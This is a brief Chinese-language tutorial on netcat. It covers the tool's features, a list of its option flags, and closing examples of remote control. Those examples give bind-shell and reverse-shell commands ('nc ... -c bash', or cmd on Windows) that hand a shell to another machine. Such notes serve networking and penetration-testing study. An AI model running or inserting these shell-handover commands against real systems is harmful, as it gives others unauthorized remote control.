netcat(nc)
簡介
NC(netcat)被稱為網絡工具中的瑞士軍刀,體積小巧,但功能強大。
Nc可以在兩台裝置上面互相互動,即偵聽模式/傳輸模式。
- telnet功能
- 擷取banner資訊
- 傳輸文本資訊
- 傳輸檔案/目錄
- 加密傳輸檔案
- 遠端控制
- 加密所有流量
- 流媒體伺服器
- 遠端克隆硬碟
具體使用
- -c shell commands shell模式
- -e filename 程式重定向 [危險!!]
- -b 允許廣播
- -d 無指令行界面,使用背景模式
- -g gateway 源路由跳躍點, 不超過8
- -G num 源路由訓示器: 4, 8, 12, …
- -h 擷取幫助資訊
- -i secs 延時設定,端口掃描時使用
- -k 設定在socket上的存活選項
- -l 監聽入站資訊
- -n 以數字形式表示的IP位址
- -o file 十進制記錄
- -p port 本地端口
- -r 随機本地和遠端的端口
- -q secs 在标準輸入且延遲後退出(翻譯的不是很好,後面執行個體介紹)
- -s addr 本地源位址
- -T tos 設定服務類型
- -t 以TELNET的形式應答入站請求
- -u UDP模式
- -v 顯示詳細資訊 [使用=vv擷取更詳細的資訊
- -w secs 連接配接逾時設定
- -z I/O 模式 [掃描時使用]
nc遠端控制
-
正向連接配接
A:nc -lp port -c bash
B:nc ip port
A将自己的Bash發給B
-
反向連接配接
A:nc -lp port
B:nc ip port -c bash
B将自己的Bash發給A
win下Bash換成cmd